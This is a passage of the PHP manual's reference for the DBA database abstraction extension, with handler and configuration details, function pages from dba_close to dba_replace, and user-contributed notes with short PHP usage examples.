    • Predefined Constants
    • dbx Functions
  • ODBC — ODBC (Unified)
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • ODBC Functions
  • PDO — PHP Data Objects
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Connections and Connection management
    • Transactions and auto-commit
    • Prepared statements and stored procedures
    • Errors and error handling
    • Large Objects (LOBs)
    • PDO — The PDO class
    • PDOStatement — The PDOStatement class
    • PDOException — The PDOException class
    • PDO Drivers

User Contributed Notes

There are no user contributed notes for this page.
Database Extensions
DBA
Database Extensions


Database (dbm-style) Abstraction Layer

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Examples
    • Basic usage
  • DBA Functions
    • dba_close — Close a DBA database
    • dba_delete — Delete DBA entry specified by key
    • dba_exists — Check whether key exists
    • dba_fetch — Fetch data specified by key
    • dba_firstkey — Fetch first key
    • dba_handlers — List all the handlers available
    • dba_insert — Insert entry
    • dba_key_split — Splits a key in string representation into array representation
    • dba_list — List all open database files
    • dba_nextkey — Fetch next key
    • dba_open — Open database
    • dba_optimize — Optimize database
    • dba_popen — Open database persistently
    • dba_replace — Replace or insert entry
    • dba_sync — Synchronize database

User Contributed Notes

There are no user contributed notes for this page.
Abstraction Layers
Introduction
Abstraction Layers


Introduction

These functions build the foundation for accessing Berkeley DB style databases.

This is a general abstraction layer for several file-based databases. As such, functionality is limited to a common subset of features supported by modern databases such as » Oracle Berkeley DB.

User Contributed Notes

There are no user contributed notes for this page.
DBA
Installing/Configuring
DBA


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
DBA


Requirements

The behaviour of various aspects depends on the implementation of the underlying database. Functions such as dba_optimize() and dba_sync() will do what they promise for one database and will do nothing for others. You have to download and install supported dba-Handlers.

List of DBA handlers
Handler | Notes
dbm | Dbm is the oldest (original) type of Berkeley DB style databases. You should avoid it, if possible. We do not support the compatibility functions built into DB2 and gdbm, because they are only compatible on the source code level, but cannot handle the original dbm format.
ndbm | Ndbm is a newer type and more flexible than dbm. It still has most of the arbitrary limits of dbm (therefore it is deprecated).
gdbm | Gdbm is the » GNU database manager.
db2 | DB2 is for » Oracle Berkeley DB 2. It is described as "a programmatic toolkit that provides high-performance built-in database support for both standalone and client/server applications.
db3 | DB3 is for » Oracle Berkeley DB 3.
db4 | DB4 is for » Oracle Berkeley DB 4 or 5. This option is available from PHP 4.3.2. It can be used with BDB 5 from PHP 5.3.3.
cdb | Cdb is "a fast, reliable, lightweight package for creating and reading constant databases." It is from the author of qmail and can be found at » http://cr.yp.to/cdb.html. Since it is constant, we support only reading operations. And since PHP 4.3.0 we support writing (not updating) through the internal cdb library.
cdb_make | Since PHP 4.3.0 we support creation (not updating) of cdb files when the bundled cdb library is used.
flatfile | This is available since PHP 4.3.0 for compatibility with the deprecated dbm extension only and should be avoided. However you may use this where files were created in this format. That happens when configure could not find any external library.
inifile | This is available since PHP 4.3.3 to be able to modify php.ini files from within PHP scripts. When working with ini files you can pass arrays of the form array(0=>group,1=>value_name) or strings of the form "[group]value_name" where group is optional. As the functions dba_firstkey() and dba_nextkey() return string representations of the key there is a new function dba_key_split() available since PHP 5 which allows to convert the string keys into array keys without loosing FALSE.
qdbm | This is available since PHP 5.0.0. The qdbm library can be loaded from » http://fallabs.com/qdbm/index.html.

When invoking the dba_open() or dba_popen() functions, one of the handler names must be supplied as an argument. The actually available list of handlers is displayed by invoking phpinfo() or dba_handlers().

User Contributed Notes

cbemerine at gmail dot com 06-Sep-2009 06:51
If you build (compile) in the wrong DBA handlers some PHP functions like dba_replace and dba_insert will NOT work.  see User notes for dba_replace; dba_handlers and dba_open specifically for more information.
Installing/Configuring
Installation
Installing/Configuring


Installation

By using the --enable-dba=shared configuration option you can build a dynamic loadable module to enable PHP for basic support of dbm-style databases. You also have to add support for at least one of the following handlers by specifying the --with-XXXX configure switch to your PHP configure line.

Warning

After configuring and compiling PHP you must execute the following test from commandline: php run-tests.php ext/dba. This shows whether your combination of handlers works. Most problematic are dbm and ndbm which conflict with many installations. The reason for this is that on several systems these libraries are part of more than one other library. The configuration test only prevents you from configuring malfunctioning single handlers but not combinations.

Supported DBA handlers
Handler | Configure Switch
dbm

To enable support for dbm add --with-dbm[=DIR] .

Note:

dbm normally is a wrapper which often results in failures. This means you should only use dbm if you are sure it works and if you really need this format.

ndbm

To enable support for ndbm add --with-ndbm[=DIR] .

Note:

ndbm normally is a wrapper which often results in failures. This means you should only use ndbm if you are sure it works and if you really need this format.

gdbm | To enable support for gdbm add --with-gdbm[=DIR] .
db2

To enable support for Oracle Berkeley DB 2 add --with-db2[=DIR] .

Note:

db2 conflicts with db3 and db4.

db3

To enable support for Oracle Berkeley DB 3 add --with-db3[=DIR] .

Note:

db3 conflicts with db2 and db4.

db4

To enable support for Oracle Berkeley DB 4 or 5 add --with-db4[=DIR] .

Note:

db4 conflicts with db2 and db3.

Note:

The db4 option was added in PHP 4.3.2. In earlier versions of PHP you need to use --with-db3=DIR with DIR being the path to db4 library. It is not possible to use db versions starting from 4.1 with PHP prior to version 4.3.0. Also, the db libraries with versions 4.1 through 4.1.24 cannot be used in any PHP version.

Support for BDB 5 was added in PHP 5.3.3.

cdb

To enable support for cdb add --with-cdb[=DIR] .

Note:

Since PHP 4.3.0 you can omit DIR to use the bundled cdb library that adds the cdb_make handler which allows creation of cdb files and allows to access cdb files on the network using PHP's streams.

flatfile

To enable support for flatfile add --with-flatfile .

Note:

This was added in PHP 4.3.0 to add compatibility with deprecated dbm extension. Use this handler only when you cannot install one of the libraries required by the other handlers and when you cannot use bundled cdb handler.

inifile

To enable support for inifile add --with-inifile .

Note:

This was added in PHP 5.0.0 and allows to read and set microsoft style .ini files (like the php.ini file).

qdbm

To enable support for qdbm add --with-qdbm[=DIR] .

Note:

qdbm conflicts with dbm and gdbm.

Note:

This was added in PHP 5.0.0. The qdbm library can be loaded from » http://fallabs.com/qdbm/index.html.

Note:

Up to PHP 4.3.0 you are able to add both db2 and db3 handler but only one of them can be used internally. That means that you cannot have both file formats. Starting with PHP 5.0.0 there is a configuration check avoid such misconfigurations.

User Contributed Notes

There are no user contributed notes for this page.
Requirements
Runtime Configuration
Installing/Configuring


Resource Types

The functions dba_open() and dba_popen() return a handle to the specified database file to access which is used by all other dba-function calls.

User Contributed Notes

There are no user contributed notes for this page.
Runtime Configuration
Predefined Constants
Installing/Configuring


Predefined Constants

This extension has no constants defined.

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
Examples
DBA


Examples

Table of Contents

  • Basic usage

User Contributed Notes

There are no user contributed notes for this page.
Predefined Constants
Basic usage
DBA


Basic usage

Example #1 DBA example

<?php

$id = dba_open("/tmp/test.db", "n", "db2");

if (!$id) {
    echo "dba_open failed\n";
    exit;
}

dba_replace("key", "This is an example!", $id);

if (dba_exists("key", $id)) {
    echo dba_fetch("key", $id);
    dba_delete("key", $id);
}

dba_close($id);
?>

DBA is binary safe and does not have any arbitrary limits. However, it inherits all limits set by the underlying database implementation.

All file-based databases must provide a way of setting the file mode of a new created database, if that is possible at all. The file mode is commonly passed as the fourth argument to dba_open() or dba_popen().

You can access all entries of a database in a linear way by using the dba_firstkey() and dba_nextkey() functions. You may not change the database while traversing it.

Example #2 Traversing a database

<?php

// ...open database...

$key = dba_firstkey($id);

while ($key != false) {
    if (true) {          // remember the key to perform some action later
        $handle_later[] = $key;
    }
    $key = dba_nextkey($id);
}

foreach ($handle_later as $val) {
    dba_delete($val, $id);
}

?>

User Contributed Notes

There are no user contributed notes for this page.
Examples
DBA Functions
Examples


DBA Functions

Table of Contents

  • dba_close — Close a DBA database
  • dba_delete — Delete DBA entry specified by key
  • dba_exists — Check whether key exists
  • dba_fetch — Fetch data specified by key
  • dba_firstkey — Fetch first key
  • dba_handlers — List all the handlers available
  • dba_insert — Insert entry
  • dba_key_split — Splits a key in string representation into array representation
  • dba_list — List all open database files
  • dba_nextkey — Fetch next key
  • dba_open — Open database
  • dba_optimize — Optimize database
  • dba_popen — Open database persistently
  • dba_replace — Replace or insert entry
  • dba_sync — Synchronize database

User Contributed Notes

doppelbauer at gmail dot com 14-Oct-2006 07:47
Benchmark test:

http://qdbm.sourceforge.net/benchmark.pdf
jason 21-Dec-2004 07:33
Don't make the dumb mistake I did, if you copy the first example at the top and modify it for test, the dba_open specifies "n" which will truncate the database that you are pointing to. Make sure you change it to "r" if you just want to read from an existing dbm file.
kevinphpdotnet at stormtide dot ca 17-Mar-2004 11:10
When using db4 on redhat 7.3 you may get signal 11s on the apache child processes. The installation test scripts will report that db4 is working correctly as the cli will not sig 11 out. The solution is to check to see if mod_rewrite is installed with apache, if it is either dereference it from libdb.so.3 or build apache without mod rewrite. Once this is done you will no longer have your child processes dying out and db4 will work. If you do not get a sig 11 after dba_open just ignore this comment.
djm at web dot us dot uu dot net 17-Oct-1999 03:28
With db2, you need to call dba_sync() to get the data written to disk; the examples are missing this.  db2 uses
the BTREE file format, not the more common HASH.
BTREE is faster, though, in my tests, so it's a good
choice.
Basic usage
dba_close
DBA


Close a DBA database

DBA Functions
dba_delete
DBA Functions
PHP Manual

dba_close

(PHP 4, PHP 5)

dba_close — Close a DBA database

Description

void dba_close ( resource $handle )

dba_close() closes the established database and frees all resources of the specified database handle.

Parameters

handle

The database handler, returned by dba_open() or dba_popen().

Return Values

No value is returned.

See Also

  • dba_open() - Open database
  • dba_popen() - Open database persistently

User Contributed Notes

There are no user contributed notes for this page.
DBA Functions
dba_delete
DBA Functions


Delete DBA entry specified by key

dba_close
dba_exists
DBA Functions
PHP Manual

dba_delete

(PHP 4, PHP 5)

dba_delete — Delete DBA entry specified by key

Description

bool dba_delete ( string $key , resource $handle )

dba_delete() deletes the specified entry from the database.

Parameters

key

The key of the entry which is deleted.

handle

The database handler, returned by dba_open() or dba_popen().

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • dba_exists() - Check whether key exists
  • dba_fetch() - Fetch data specified by key
  • dba_insert() - Insert entry
  • dba_replace() - Replace or insert entry

User Contributed Notes

swain at panix dot com 06-Nov-2001 11:00
Note that the memory is lost after doing this. If you had a key 'foo' with a value of 1000 bytes, that 1000 bytes is lost, and the DB file size will reflect this.
dba_close
dba_exists
DBA Functions


Check whether key exists

dba_delete
dba_fetch
DBA Functions
PHP Manual

dba_exists

(PHP 4, PHP 5)

dba_exists — Check whether key exists

Description

bool dba_exists ( string $key , resource $handle )

dba_exists() checks whether the specified key exists in the database.

Parameters

key

The key the check is performed for.

handle

The database handler, returned by dba_open() or dba_popen().

Return Values

Returns TRUE if the key exists, FALSE otherwise.

See Also

  • dba_delete() - Delete DBA entry specified by key
  • dba_fetch() - Fetch data specified by key
  • dba_insert() - Insert entry
  • dba_replace() - Replace or insert entry

User Contributed Notes

frenzy dot ivan at gmail dot com 26-Nov-2008 05:37
<?php

$index = 4;
$id = dba_open("frenzy.db", "w", "flatfile");
if(!$id) exit ("Some error...");
if(dba_exists($index, $id)) exit ("This key is using");
dba_close($id);

?>
dba_delete
dba_fetch
DBA Functions


Fetch data specified by key

dba_exists
dba_firstkey
DBA Functions
PHP Manual

dba_fetch

(PHP 4, PHP 5)

dba_fetch — Fetch data specified by key

Description

string dba_fetch ( string $key , resource $handle )
string dba_fetch ( string $key , int $skip , resource $handle )

dba_fetch() fetches the data specified by key from the database specified with handle.

Parameters

key

The key the data is specified by.

Note:

When working with inifiles this function accepts arrays as keys where index 0 is the group and index 1 is the value name. See: dba_key_split().

skip

The number of key-value pairs to ignore when using cdb databases. This value is ignored for all other databases which do not support multiple keys with the same name.

handle

The database handler, returned by dba_open() or dba_popen().

Return Values

Returns the associated string if the key/data pair is found, FALSE otherwise.

Changelog

Version | Description
4.3.0 | The skip parameter is available to support cdb's capability of multiple keys having the same name.

See Also

  • dba_exists() - Check whether key exists
  • dba_delete() - Delete DBA entry specified by key
  • dba_insert() - Insert entry
  • dba_replace() - Replace or insert entry
  • dba_key_split() - Splits a key in string representation into array representation

User Contributed Notes

khan666 at lycos dot co dot kr 05-Dec-2010 05:11
:: fetch array sort.

ex) TEST_DATA.DB

    1/korea/5000/word 1
    10/japan/25000/word 10
    21/china/130000/word 21
    2/usa/35000/word 2

<?php
# LIST SORT
$DB4_DATABASE = "TEST_DATA.DB4";
$DIV = "/";
$_FILE = "$DATA_DIR/HUTM_NETWORK_ROUTER.DB"; // DB4 FileName

$db  = dba_open($DB4_DATABASE,"r","db4");
$key = dba_firstkey($db);
$ii = 0;
while($key != NULL)
{
     $LIST[$ii] = explode($DIV,dba_fetch($key, $db));    // fetch array
    $key = dba_nextkey($db);
    $ii++;
}
dba_close($db);
$total = $ii; // total count

# date sort
sort($LIST,SORT_NUMERIC);    // numeric key sort ..

# list display
for($i=0;$i<$total;$i++)
{
    $oData = explode($DIV,$LIST[$i]);    // key + value (sort)

    $key   = trim(chop($oData[0])); # 키번호
    $name  = trim(chop($oData[1])); # 이름
    $count = trim(chop($oData[2])); # 수
    $word  = trim(chop($oData[3])); # 설명

    echo "$key / $name / $count / $word <br>\r\n";
}
?>

::result::

1/korea/5000/word 1
2/usa/35000/word 2
10/japan/25000/word 10
21/china/130000/word 21
dba_exists
dba_firstkey
DBA Functions


Fetch first key

dba_fetch
dba_handlers
DBA Functions
PHP Manual

dba_firstkey

(PHP 4, PHP 5)

dba_firstkey — Fetch first key

Description

string dba_firstkey ( resource $handle )

dba_firstkey() returns the first key of the database and resets the internal key pointer. This permits a linear search through the whole database.

Parameters

handle

The database handler, returned by dba_open() or dba_popen().

Return Values

Returns the key on success or FALSE on failure.

See Also

  • dba_nextkey() - Fetch next key
  • dba_key_split() - Splits a key in string representation into array representation
  • Example 2 in the DBA examples

User Contributed Notes

rcracer91 at gmail dot com 26-Aug-2009 12:21
I wondered why it wasn't already written, so I did because I think working with associative arrays is always as comfortable as can be

<?php
function dba_fetch_assoc($handle) {
    $assoc = array();
    for($k = dba_firstkey($handle); $k != false; $k = dba_nextkey($handle)) {
        $assoc[$k] = dba_fetch($k, $handle);
    }
    return $assoc;
}
?>
psycho-logic at excite dot com 22-Oct-2003 05:38
Looks like Jacky is using some DB object? I don't know if it's native to PHP or written on it's own... Anyways this is what I use:

$DBCon = dba_open("/tmp/test_db.db2", "r", "db2") or die("Uh oh, can't open the database :(");
if ($the_key = dba_firstkey($DBCon)) do {
    print("Key: $the_key    Value:");
    print dba_fetch($the_key, $DBCon);
    print("<BR>");
} while ($the_key = dba_nextkey($DBCon));
print ("<BR><BR><BR>Well looks like we're done here :-)");
jacky dot jackyhung dot net 17-Jan-2002 05:17
for ($key = dba_firstkey($this->handle); $key !== false; $key = dba_nextkey($this->handle)) {
            $keyset[] = $key;
        } // end for
dba_fetch
dba_handlers
DBA Functions


List all the handlers available

dba_firstkey
dba_insert
DBA Functions
PHP Manual

dba_handlers

(PHP 4 >= 4.3.0, PHP 5)

dba_handlers — List all the handlers available

Description

array dba_handlers ([ bool $full_info = false ] )

dba_handlers() list all the handlers supported by this extension.

Parameters

full_info

Turns on/off full information display in the result.

Return Values

Returns an array of database handlers. If full_info is set to TRUE, the array will be associative with the handlers names as keys, and their version information as value. Otherwise, the result will be an indexed array of handlers names.

Note:

When the internal cdb library is used you will see cdb and cdb_make.

Examples

Example #1 dba_handlers() Example

<?php

echo "Available DBA handlers:\n";
foreach (dba_handlers(true) as $handler_name => $handler_version) {
  // clean the versions
  $handler_version = str_replace('$', '', $handler_version);
  echo " - $handler_name: $handler_version\n";
}

?>

The above example will output something similar to:

Available DBA handlers:
 - cdb: 0.75, Revision: 1.3.2.3
 - cdb_make: 0.75, Revision: 1.2.2.4
 - db2: Sleepycat Software: Berkeley DB 2.7.7: (08/20/99)
 - inifile: 1.0, Revision: 1.6.2.3
 - flatfile: 1.0, Revision: 1.5.2.4

User Contributed Notes

cbemerine at gmail dot com 06-Sep-2009 05:59
A quick way to see which DBA handlers, without version numbers, that have been built into your version of MySQL on your system, use var_dump with dba_handler() as follows:

<?php
var_dump ( "dba_handlers()" );
?>

Many distros build in these DBA Handlers by default:
array(5) { [0]=>  string(3) "cdb" [1]=>  string(8) "cdb_make" [2]=>  string(3) "db4" [3]=>  string(7) "inifile" [4]=>  string(8) "flatfile" }

using print and pre tags for readability:

array(5) {

  [0]=>

  string(3) "cdb"

  [1]=>

  string(8) "cdb_make"

  [2]=>

  string(3) "db4"

  [3]=>

  string(7) "inifile"

  [4]=>

  string(8) "flatfile"

}

Note there are issues with dba_insert and dba_replace without building for either GDBM or QDBM.
  Here are two sources for the list of DBA handlers: (http://www.php-editors.com/php_manual/ref.dba.html and http://dewa03.unep.org/manuals/php_manual/ref.dba.html; )

CDBM & CDB compiles have issues with updates, you can read databases and write new database files, but you will be prevented from using dba_replace() and you may have issues with dba_insert().

NDBM & DBM are depreciated.

DB2, DB3 & DB4 (Berkeley DB Sleepycat Software / Oracle)  Have read online about issues with dba_replace() and db4 specifically. Make sure you test your installation for correct usage of all DBA functions.

SDBM, TDB, TinyCDB were not listed on most of the sources I have found online.  Those DBA handlers and the names of the developers were listed on the QDBM source forge site.  How they interact with dba_replace() I do not know.  You should be aware of their existence.

GDBM and QDBM are the only other two DBA handlers I am aware of.  Both are reported to allow PHP's dba_replace() function to work correctly so either may be an acceptable option.  The following three restrictions of traditional DBM are not issues for either GDBM or QDBM: 1) a process can handle only one database;  2) the size of a key and a value is bounded;   3) a database file is sparse.

DBA handler benchmark compares QDBM, GDBM, NDBM, SDBM, TDB, CDB, BDB, QDBM-BT-ASC, QDBM-BT-RND, BDB-BT-ASC, BDB-BT-RND can be found here: (http://qdbm.sourceforge.net/benchmark.pdf);

QDBM seems to offer significant improvements in speed over the other DBA Handlers, test in your environment to verify the results.
dba_firstkey
dba_insert
DBA Functions


Insert entry

dba_handlers
dba_key_split
DBA Functions
PHP Manual

dba_insert

(PHP 4, PHP 5)

dba_insert — Insert entry

Description

bool dba_insert ( string $key , string $value , resource $handle )

dba_insert() inserts the entry described with key and value into the database.

Parameters

key

The key of the entry to be inserted. If this key already exist in the database, this function will fail. Use dba_replace() if you need to replace an existent key.

value

The value to be inserted.

handle

The database handler, returned by dba_open() or dba_popen().

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • dba_exists() - Check whether key exists
  • dba_delete() - Delete DBA entry specified by key
  • dba_fetch() - Fetch data specified by key
  • dba_replace() - Replace or insert entry

User Contributed Notes

khan666 at lycos dot co dot kr 03-Dec-2010 02:18
berkeleydb example.

<?php
    # DB4 CREATE & INSERT
    $_FILE   = "/DATA_DIR/TEST_DATA.DB";
    $DIV     = "\xFE";
    $inValue = "name".$DIV."0".$DIV."test value";

    $dbh   = dba_open($_FILE,"c","db4");
    dba_close($dbh);

    $dbh   = dba_open($_FILE,"w","db4");
    dba_insert(1,$inValue,$dbh);
    dba_close($dbh);
?>
istanbul2edinburgh 13-Jul-2006 07:02
here is a good example for this;

 $dbh = dba_open( "./data/products", "c", "gdbm" )
       or die( "Couldn't open database" );

 dba_insert( "Sonic Screwdriver", "23.20", $dbh);
 dba_insert( "Tricorder", "55.50", $dbh);
 dba_insert( "ORAC AI", "2200.50", $dbh);
 dba_insert( "HAL 2000", "4500.50", $dbh);

 dba_close( $dbh );

 you may find more about the topic in this URL:

http://www.samspublishing.com  /articles/article.asp?p=29742&seqNum=3&rl=1
dba_handlers
dba_key_split
DBA Functions


Splits a key in string representation into array representation

dba_insert
dba_list
DBA Functions
PHP Manual

dba_key_split

(PHP 5)

dba_key_split — Splits a key in string representation into array representation

Description

mixed dba_key_split ( mixed $key )

dba_key_split() splits a key (string representation) into an array representation.

Parameters

key

The key in string representation.

Return Values

Returns an array of the form array(0 => group, 1 => value_name). This function will return FALSE if key is NULL or FALSE.

See Also

  • dba_firstkey() - Fetch first key
  • dba_nextkey() - Fetch next key
  • dba_fetch() - Fetch data specified by key

User Contributed Notes

There are no user contributed notes for this page.
dba_insert
dba_list
DBA Functions


List all open database files

dba_key_split
dba_nextkey
DBA Functions
PHP Manual

dba_list

(PHP 4 >= 4.3.0, PHP 5)

dba_list — List all open database files

Description

array dba_list ( void )

dba_list() list all open database files.

Return Values

An associative array, in the form resourceid => filename.

User Contributed Notes

There are no user contributed notes for this page.
dba_key_split
dba_nextkey
DBA Functions


Fetch next key

dba_list
dba_open
DBA Functions
PHP Manual

dba_nextkey

(PHP 4, PHP 5)

dba_nextkey — Fetch next key

Description

string dba_nextkey ( resource $handle )

dba_nextkey() returns the next key of the database and advances the internal key pointer.

Parameters

handle

The database handler, returned by dba_open() or dba_popen().

Return Values

Returns the key on success or FALSE on failure.

See Also

  • dba_firstkey() - Fetch first key
  • dba_key_split() - Splits a key in string representation into array representation
  • Example 2 in the DBA examples

User Contributed Notes

There are no user contributed notes for this page.
dba_list
dba_open
DBA Functions


Open database

dba_nextkey
dba_optimize
DBA Functions
PHP Manual

dba_open

(PHP 4, PHP 5)

dba_open — Open database

Description

resource dba_open ( string $path , string $mode [, string $handler [, mixed $... ]] )

dba_open() establishes a database instance for path with mode using handler.

Parameters

path

Commonly a regular path in your filesystem.

mode

It is r for read access, w for read/write access to an already existing database, c for read/write access and database creation if it doesn't currently exist, and n for create, truncate and read/write access. The database is created in BTree mode, other modes (like Hash or Queue) are not supported.

Additionally you can set the database lock method with the next char. Use l to lock the database with a .lck file or d to lock the databasefile itself. It is important that all of your applications do this consistently.

If you want to test the access and do not want to wait for the lock you can add t as third character. When you are absolutely sure that you do not require database locking you can do so by using - instead of l or d. When none of d, l or - is used, dba will lock on the database file as it would with d.

Note:

There can only be one writer for one database file. When you use dba on a web server and more than one request requires write operations they can only be done one after another. Also read during write is not allowed. The dba extension uses locks to prevent this. See the following table:

DBA locking
already open | mode = "rl" | mode = "rlt" | mode = "wl" | mode = "wlt" | mode = "rd" | mode = "rdt" | mode = "wd" | mode = "wdt"
not open | ok | ok | ok | ok | ok | ok | ok | ok
mode = "rl" | ok | ok | wait | false | illegal | illegal | illegal | illegal
mode = "wl" | wait | false | wait | false | illegal | illegal | illegal | illegal
mode = "rd" | illegal | illegal | illegal | illegal | ok | ok | wait | false
mode = "wd" | illegal | illegal | illegal | illegal | wait | false | wait | false
  • ok: the second call will be successfull.
  • wait: the second call waits until dba_close() is called for the first.
  • false: the second call returns false.
  • illegal: you must not mix "l" and "d" modifiers for mode parameter.

handler

The name of the handler which shall be used for accessing path. It is passed all optional parameters given to dba_open() and can act on behalf of them.

Return Values

Returns a positive handle on success or FALSE on failure.

Changelog

Version | Description
4.3.0 | It's possible to open database files over network connection. However in cases a socket connection will be used (as with http or ftp) the connection will be locked instead of the resource itself. This is important to know since in such cases locking is simply ignored on the resource and other solutions have to be found.
4.3.0 | Locking and the mode modifiers "l", "d", "-" and "t" were added. In previous PHP versions, you must use semaphores to guard against simultaneous database access for any database handler with the exception of GDBM. See System V semaphore support.
before 4.3.5 | open mode 'c' is broken for several internal handlers and truncates the database instead of appending data to an existent database. Also dbm and ndbm fail on mode 'c' in typical configurations (this cannot be fixed).

See Also

  • dba_popen() - Open database persistently
  • dba_close() - Close a DBA database

User Contributed Notes

mail {at} thorben [dash]heins(dot) de 21-Nov-2011 01:39
The other day i was struggeling with some strange behaviour, of two concurrently running scripts, that i want to share here. I am omitting most of the error handling for brevity.

script1:
$h = dba_open("file_a", 'r', 'gdbm');
while (true)
{
    dba_fetch("somekey", $h);
    sleep(1);
}
dba_close($h);

______________________
script2:
// while script1 is running until eternity...
$ok = rename("file_a", "file_b");
if (! $ok)
   echo "Could not move\n";
else
   echo "I like to move it, move it!\n";

// GOAL: Manipulate the file only if it is not opened for reading...

RESULT:
I like to move it, move it!

So you can very well rename a file, while it is opened. The lookup in script1 is still working. Manipulating the file in script2 will fail, as there is still an gdbm lock on the file from script1.
dracoirs at gmail dot com 03-May-2010 03:10
Apache doesn't support Berkeley DB Btree, so you can't manipulate use db4 as the type of database if you want to do DBM authentication with Apache.

gdbm seemed to work fine though, even though it supposedly using Btree instead of hash.  It makes you wonder why Apache would use hash for one dbmtype versus btree for another.

So since Apache and PHP don't have options to choose the method for the Berkeley DBs, you are out of luck.
cbemerine at gmail dot com 06-Sep-2009 04:59
Note the “c” create flag does not work if MySQL was built with the “cdb” DBA handler compile option which is common for many distros.  By definition the cdb DBA handler is optimized for reading/writing and “no updates are allowed.”

<?php
$dbh = dba_open( "./data2/productz", "c", "cdb") or die( "Couldn't open Database" );
?>

instead use

<?php
$dbh = dba_open( "./data2/productz", "n", "cdb" ) or die( "Couldnt open Database" );
?>

generates this error message in the /var/log/apache2/error.log:
[Sun Sep 06 04:18:15 2009] [error] [client 192.168.1.125] PHP Warning:  dba_open(./data2/productz,c) [<a href='function.dba-open'>function.dba-open</a>]: Driver initialization failed for handler: cdb: Update operations are not supported in /var/www/projects/testcdb-c.php on line 43

see user contributed comment under dba_handlers() to see which DBA handlers are supported by your build of MySQL and note about using “cdb” compiled DBA systems:

also see user contributed comment under dba_replace() about incompatibilities with cdb DBA handler compiled MySQL systems.
mskala at ansuz dot sooke dot bc dot ca 16-May-2008 02:15
As of GDBM version 1.8.3, GDBM's underlying open call uses non-blocking calls to flock() on systems that have flock().  As a result, calls with "rd" or "wd" locking modes will return error ("Can't be reader" or "Can't be writer") instead of waiting.  Use "rl" or "wl" instead, to make PHP do its own locking external to GDBM.
trohit at blue bottle dot com 23-Nov-2007 03:34
Here's a simple example to use the dba_open function

<?php

$id = dba_open("/tmp/test.db", "n", "gdbm");

if (!$id) {
        echo "dba_open failed\n";
        exit;
}

dba_replace("key", "This is an example!", $id);

if (dba_exists("key", $id)) {
        echo dba_fetch("key", $id);
        dba_delete("key", $id);
}

dba_close($id);
?>
doppelbauer at gmail dot com 20-Oct-2006 07:36
Windows does not support locking the database. You may use $_ENV to determine the OS:

$locking = (stripos($_ENV['OS'],'windows') === false ? 'd' : 'l');
xy ät affenkrieger.de 30-Mar-2006 06:13
If you get some strange errors like
dba_open(): myDbFilename.db : Permission denied
than you are propably using PHP on a Windoze machine. You have to make sure that the following conditions are met:

1) Use an absolute path to your db file. Relative paths will cause problems with locking
2) Specify a locking mode - that's the second character of the mode-argument, or else opening a dba-file will cause several notices/warnings etc.

And a final, general note:
3) Always use the english PHP doc on this site - the translations are often old as hell and miss important informations

HTH, Nils.
dba_nextkey
dba_optimize
DBA Functions


Optimize database

dba_open
dba_popen
DBA Functions
PHP Manual

dba_optimize

(PHP 4, PHP 5)

dba_optimize — Optimize database

Description

bool dba_optimize ( resource $handle )

dba_optimize() optimizes the underlying database.

Parameters

handle

The database handler, returned by dba_open() or dba_popen().

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • dba_sync() - Synchronize database

User Contributed Notes

doppelbauer at gmail dot com 17-Oct-2006 02:44
The difference between "dba_optimize" and "dba_sync":

Use "dba_optimize" to optimize a database, which usually consists of eliminating gaps between records created by deletes.

The "dba_sync" function will synchronize the view of the database in memory and its image on the disk. As you insert records, they may be cached in memory by the underlying engine. Other processes reading from the database will not see these new records until synchronization.
samuele at removethisnorsam dot org 04-Aug-2003 03:00
Note that the internal structure of each DB that needs to access etherogeneous data in a *fast* way it is not necessarily space-optimized. So, if you add-remove-substitute keys with data having different content length, the db continues to grow, wasting space. So, it is necessary, sometimes, to re-pack the db in order to remove unused data from the db itself. But it is important to remind that, even if the file grows, the data remain optimized and - obviously - the access continues to be fast. Further information are available at dba_replace() user-contributed notes.
dba_open
dba_popen
DBA Functions


Open database persistently

dba_optimize
dba_replace
DBA Functions
PHP Manual

dba_popen

(PHP 4, PHP 5)

dba_popen — Open database persistently

Description

resource dba_popen ( string $path , string $mode [, string $handler [, mixed $... ]] )

dba_popen() establishes a persistent database instance for path with mode using handler.

Parameters

path

Commonly a regular path in your filesystem.

mode

It is r for read access, w for read/write access to an already existing database, c for read/write access and database creation if it doesn't currently exist, and n for create, truncate and read/write access.

handler

The name of the handler which shall be used for accessing path. It is passed all optional parameters given to dba_popen() and can act on behalf of them.

Return Values

Returns a positive handle on success or FALSE on failure.

See Also

  • dba_open() - Open database
  • dba_close() - Close a DBA database

User Contributed Notes

There are no user contributed notes for this page.
dba_optimize
dba_replace
DBA Functions


Replace or insert entry

dba_popen
dba_sync
DBA Functions
PHP Manual

dba_replace

(PHP 4, PHP 5)

dba_replace — Replace or insert entry

Description

bool dba_replace ( string $key , string $value , resource $handle )

dba_replace() replaces or inserts the entry described with key and value into the database specified by handle.

Parameters

key

The key of the entry to be replaced.

value

The value to be replaced.

handle

The database handler, returned by dba_open() or dba_popen().

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • dba_exists() - Check whether key exists
  • dba_delete() - Delete DBA entry specified by key
  • dba_fetch() - Fetch data specified by key
  • dba_insert() - Insert entry

User Contributed Notes

khan666 at lycos dot co dot kr 03-Dec-2010 02:24
berkeley db : fetch array & display example

<?php
# DB4 FETCH
$DB4_DATABASE = "/data/TEST_DATA.DB";

$db = dba_open($DB4_DATABASE,"r","db4");
$k  = dba_firstkey($db);

while($k != NULL)
{
      $AAA = explode("\xFE",dba_fetch($k, $db));
      echo "[key] $k => [value] $AAA[0] / $AAA[1] / $AAA[2] / $AAA[3] / $AAA[4] / $AAA[5]<br>\r\n";

    $k = dba_nextkey($db);
}
dba_close($db);
?>
cbemerine at gmail dot com 06-Sep-2009 06:36
QDBM and GDBM appear to be the only DBA handlers that will allow dba_replace to work correctly.  The DBA Handlers must be compiled or built into the version you are using.  See dba_handlers (http://www.php.net/manual/en/function.dba-handlers.php) for more specific information:

